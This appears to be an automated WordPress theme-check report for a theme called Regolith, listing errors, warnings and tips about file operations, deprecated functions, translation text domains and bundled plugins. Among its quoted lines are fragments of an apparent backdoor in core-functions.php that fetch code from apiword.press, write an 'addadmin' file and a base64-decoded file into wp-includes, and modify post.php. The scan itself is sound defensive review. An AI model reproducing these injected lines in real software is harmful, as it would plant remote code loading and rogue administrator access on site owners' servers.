    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file uploadHandler.class.php
    Line 697: file_put_contents(
    Line 707: file_put_contents(
    fopen was found in the file uploadHandler.class.php
    Line 699: fopen($uploaded_file, 'r'),
    Line 709: fopen('php://input', 'r'),
    Line 737: $handle = fopen($file_path, 'rb'); 
    file_put_contents was found in the file uploadHandler.class.php
    Line 697: file_put_contents(
    Line 707: file_put_contents(
    fopen was found in the file uploadHandler.class.php
    Line 699: fopen($uploaded_file, 'r'),
    Line 709: fopen('php://input', 'r'),
    Line 737: $handle = fopen($file_path, 'rb'); 
    readfile was found in the file uploadHandler.class.php
    Line 65: //     1. Set to 1 to download files via readfile method through PHP
    Line 73: 'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
    Line 733: protected function readfile($file_path) {
    Line 735: $chunk_size = $this->options['readfile_chunk_size'];
    Line 746: return readfile($file_path);
    Line 846: $this->readfile($file_path);
    fopen was found in the file uploadHandler.class.php
    Line 699: fopen($uploaded_file, 'r'),
    Line 709: fopen('php://input', 'r'),
    Line 737: $handle = fopen($file_path, 'rb'); 
    fread was found in the file uploadHandler.class.php
    Line 739: echo fread($handle, $chunk_size); 
    fclose was found in the file uploadHandler.class.php
    Line 743: fclose($handle); 
    readfile was found in the file uploadHandler.class.php
    Line 65: //     1. Set to 1 to download files via readfile method through PHP
    Line 73: 'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
    Line 733: protected function readfile($file_path) {
    Line 735: $chunk_size = $this->options['readfile_chunk_size'];
    Line 746: return readfile($file_path);
    Line 846: $this->readfile($file_path);
    readfile was found in the file uploadHandler.class.php
    Line 65: //     1. Set to 1 to download files via readfile method through PHP
    Line 73: 'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
    Line 733: protected function readfile($file_path) {
    Line 735: $chunk_size = $this->options['readfile_chunk_size'];
    Line 746: return readfile($file_path);
    Line 846: $this->readfile($file_path);
  8. Malware : Network operations curl_init was found in the file twitteroauth.php
    Line 195: $ci = curl_init();
    curl_exec was found in the file twitteroauth.php
    Line 221: $response = curl_exec($ci);
    curl_init was found in the file shared-functions.php
    Line 69: $ch = curl_init();
    curl_exec was found in the file shared-functions.php
    Line 75: $data = curl_exec($ch);
  9. Admin menu : Themes should use add_theme_page() for adding admin pages. File admin-functions.php :
    Line 5: add_menu_page( plsh_gs('theme_name'), plsh_gs('theme_name'), 'administrator
    File admin-functions.php :
    Line 6: add_submenu_page( plsh_gs('theme_slug').'-admin', 'Theme Options', 'Theme O
    File tgmPluginActivation.class.php :
    Line 329: add_submenu_page(
  10. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : theme-functions.php.
  11. Deprecated functions : screen_icon screen_icon found in file tgmPluginActivation.class.php. Deprecated since version 3.8.
    Line 365: <?php screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) ); ?>
    Line 1490: screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) );
  12. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was sample_data.zip contact-form-7.zip docs.zip backrounds.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag html5 in style.css header.Found wrong tag regolith in style.css header.Found wrong tag planetshine in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is regolith-wp-premium-wordpress-portfolio-theme.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function _e, with the arguments 'no posts found!' in file page-contact.php.Found a translation function that is missing a text-domain. Function _n, with the arguments '%d ', '%d ' in file template.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'post type general name' in file class-custom-post-type.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'post type singular name' in file class-custom-post-type.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add New' in file class-custom-post-type.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'taxonomy general name' in file class-custom-post-type.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'taxonomy singular name' in file class-custom-post-type.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Page %s' in file header.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Showing:' in file archive.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'search here...' in file searchform.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'search here...' in file searchform.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'search here...' in file searchform.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Showing:' in file index.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Recent posts' in file index.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Latest comments' in file index.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Featured posts' in file index.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No posts where found' in file index.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Search results for: ' in file search.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No posts where found' in file search.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Posts from ' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Posts from ' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Posts from ' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Archive' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Latest posts' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'By year' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'By month' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Monday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Tuesday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Wednesday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Thursday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Friday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Saturday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Sunday_short' in file archives.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Showing:' in file archive-portfolio.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Recent portfolios' in file archive-portfolio.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Latest comments' in file archive-portfolio.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Featured posts' in file archive-portfolio.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Read more' in file shortcodes.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Latest from blog' in file shortcodes.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'show more' in file shortcodes.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Recent portfolios' in file shortcodes.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'show more' in file shortcodes.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Primary Menu' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Posts details' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Posts details' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _e, with the arguments "Featured post" in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Slider properties' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _e, with the arguments "Web address that the slide will link to:" in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'name' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'title' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments "To view this protected post, enter the password below:" in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments "Password" in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Submit' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Required Plugins' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Plugins' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Installing Plugin: %s' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Something went wrong with the plugin API.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Return to Required Plugins Installer' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Plugin activated successfully.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'All plugins installed and activated successfully. %s' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Read more' in file loop-default-list-item.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'By' in file page.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Next page' in file page.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Previous page' in file page.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'no posts found!' in file page.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'By' in file loop-default-single.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Category' in file loop-default-single.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Tags' in file loop-default-single.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Next page' in file loop-default-single.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Previous page' in file loop-default-single.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No posts where found' in file loop.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Read more' in file loop-default-shortcode-item.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Read more' in file loop-portfolio-list-item.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'By' in file loop-portfolio-single.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Category' in file loop-portfolio-single.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Tags' in file loop-portfolio-single.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Comments' in file comments.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Comment', 'noun' in file comments.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Post comment' in file comments.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Reply to comment by ' in file comments.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<span>Older comments</span>' in file comments.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="icon-circle-arrow-left"></i>&nbsp; ' in file comments.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'All Sidebars' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Create Sidebar' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Manage Sidebars' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Backup Settings' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Import Settings' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Import' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Reset Settings' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Reset Theme' in file admin-templates.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'tgmpa' in file tgmPluginActivation.class.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Page' in file template-functions.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Reply' in file template-functions.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Page not found! Something has gone wrong. Sorry about that!' in file 404.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are spyropress, full, domainreference, tgmpa.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  6. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  7. Deprecated functions : wp_richedit_prewp_richedit_pre found in file text-editor.php. Deprecated since version 4.3.
    Line 56: printf( '<textarea %s>%s</textarea>', spyropress_build_atts( $atts ), wp_richedit_pre( $value ) );
  8. Deprecated functions : screen_iconscreen_icon found in file tgmPluginActivation.class.php. Deprecated since version 3.8.
    Line 365: <?php screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) ); ?>
    Line 1490: screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) );
  9. I18N implementation : Proper use of _e(Possible variable $month_name found in translation function in archives.php. Translation function calls should not contain PHP variables.
    Line 68: _e($month_name, PLSH_THEME_DOMAIN);
    Line 76: _e($month_name, PLSH_THEME_DOMAIN);
    Line 178: _e($month_name, PLSH_THEME_DOMAIN);
    Possible variable $month_name found in translation function in archives.php. Translation function calls should not contain PHP variables.
    Line 68: _e($month_name, PLSH_THEME_DOMAIN);
    Line 76: _e($month_name, PLSH_THEME_DOMAIN);
    Line 178: _e($month_name, PLSH_THEME_DOMAIN);
    Possible variable $month_name found in translation function in archives.php. Translation function calls should not contain PHP variables.
    Line 68: _e($month_name, PLSH_THEME_DOMAIN);
    Line 76: _e($month_name, PLSH_THEME_DOMAIN);
    Line 178: _e($month_name, PLSH_THEME_DOMAIN);
    Possible variable $this found in translation function in tgmPluginActivation.class.php. Translation function calls should not contain PHP variables.
    Line 369: <?php if ( isset( $this->message ) ) _e( wp_kses_post( $this->message ), 'tgmpa' ); ?>
    Possible variable $name found in translation function in template-functions.php. Translation function calls should not contain PHP variables.
    Line 34: //trigger_error(_e('Template: '' . $name . '' not found', PLSH_THEME_DOMAIN));
  10. I18N implementation : Proper use of ___all(Possible variable $section found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 346: 'title'      => __( $section['name'] , PLSH_THEME_DOMAIN ),
    Possible variable $item found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 363: 'label'        => __( $item['title'], PLSH_THEME_DOMAIN ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 993: 'page_title'                       			=> __( 'Install Required Plugins', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 994: 'menu_title'                       			=> __( 'Install Plugins', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 995: 'installing'                       			=> __( 'Installing Plugin: %s', $theme_text_domain ), // %1$s = plugin name
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 996: 'oops'                             			=> __( 'Something went wrong with the plugin API.', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 1007: 'return'                           			=> __( 'Return to Required Plugins Installer', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 1008: 'plugin_activated'                 			=> __( 'Plugin activated successfully.', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in theme-functions.php. Translation function calls should not contain PHP variables.
    Line 1009: 'complete' 									=> __( 'All plugins installed and activated successfully. %s', $theme_text_dom
  11. I18N implementation : Proper use of _x(Possible variable $plural found in translation function in class-custom-post-type.php. Translation function calls should not contain PHP variables.
    Line 122: 'name'                  => _x( $plural, 'post type general name' ),
    Possible variable $name found in translation function in class-custom-post-type.php. Translation function calls should not contain PHP variables.
    Line 123: 'singular_name'         => _x( $name, 'post type singular name' ),
    Possible variable $name found in translation function in class-custom-post-type.php. Translation function calls should not contain PHP variables.
    Line 124: 'add_new'               => _x( 'Add New', strtolower( $name ) ),
    Possible variable $plural found in translation function in class-custom-post-type.php. Translation function calls should not contain PHP variables.
    Line 192: 'name'              => _x( $plural, 'taxonomy general name' ),
    Possible variable $name found in translation function in class-custom-post-type.php. Translation function calls should not contain PHP variables.
    Line 193: 'singular_name'     => _x( $name, 'taxonomy singular name' ),
  12. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  13. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  14. Screenshot : Screenshot fileScreenshot size is 600x450px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file functions.php.
    Line 470: echo '<p class='chromeframe'>You are using an <strong>outdated</strong> browser. Please <a href='http://browsehappy.com/'>upgrade your browser</a> or <a href='http://www.go
    Possible hard-coded links were found in the file settings.php.
    Line 396: 'description' => 'What is favicon? Read <a href='https://en.wikipedia.org/wiki/Favicon' target='_blank'>this</a>.',
    Line 602: 'warning' => 'Go to <a href='https://maps.google.com/' target='_blank'>Google maps</a> and find your des
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  8. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  9. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : ajax.php
    Line 262: require_once 'utilities/twitteroauth/twitteroauth.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-theme-verifier.php
    Line 218: include ( framework_path() . 'classes/class-importer.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-api.php
    Line 176: require_once ( ABSPATH . '/wp-admin/includes/plugin.php' );
    Line 214: include_once ( ABSPATH . 'wp-includes/user.php' );
    Line 236: include_once ( ABSPATH . 'wp-admin/includes/user.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-meta-box-ui.php
    Line 17: include ( admin_path() . 'metabox/box_body.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-cssmin.php
    Line 15: abstract class aCssToken { abstract public function __toString(); } abstract class aCssRulesetStartToken extends aCssToken { } abstract class aCssRulesetEndToken extends aCssToken { public function __toString() { return '}'; } } abstract class aCssParserPlugin { protected $configuration = array(); protected $parser = null; protected $buffer = ''; public function __construct(CssParser $parser, array $configuration = null) { $this->configuration = $configuration; $this->parser = $parser; } abstract public function getTriggerChars(); abstract public function getTriggerStates(); abstract public function parse($index, $char, $previousChar, $state); } abstract class aCssMinifierPlugin { protected $configuration = array(); protected $minifier = null; public function __construct(CssMinifier $minifier, array $configuration = array()) { $this->configuration = $configuration; $this->minifier = $minifier; } abstract public function apply(aCssToken &$token); abstract public function getTriggerTokens(); } abstract class aCssMinifierFilter { protected $configuration = array(); protected $minifier = null; public function __construct(CssMinifier $minifier, array $configuration = array()) { $this->configuration = $configuration; $this->minifier = $minifier; } abstract public function apply(array &$tokens); } abstract class aCssFormatter { protected $indent = '    '; protected $padding = 0; protected $tokens = array(); public function __construct(array $tokens, $indent = null, $padding = null) { $this->tokens = $tokens; $this->indent = !is_null($indent) ? $indent : $this->indent; $this->padding = !is_null($padding) ? $padding : $this->padding; } 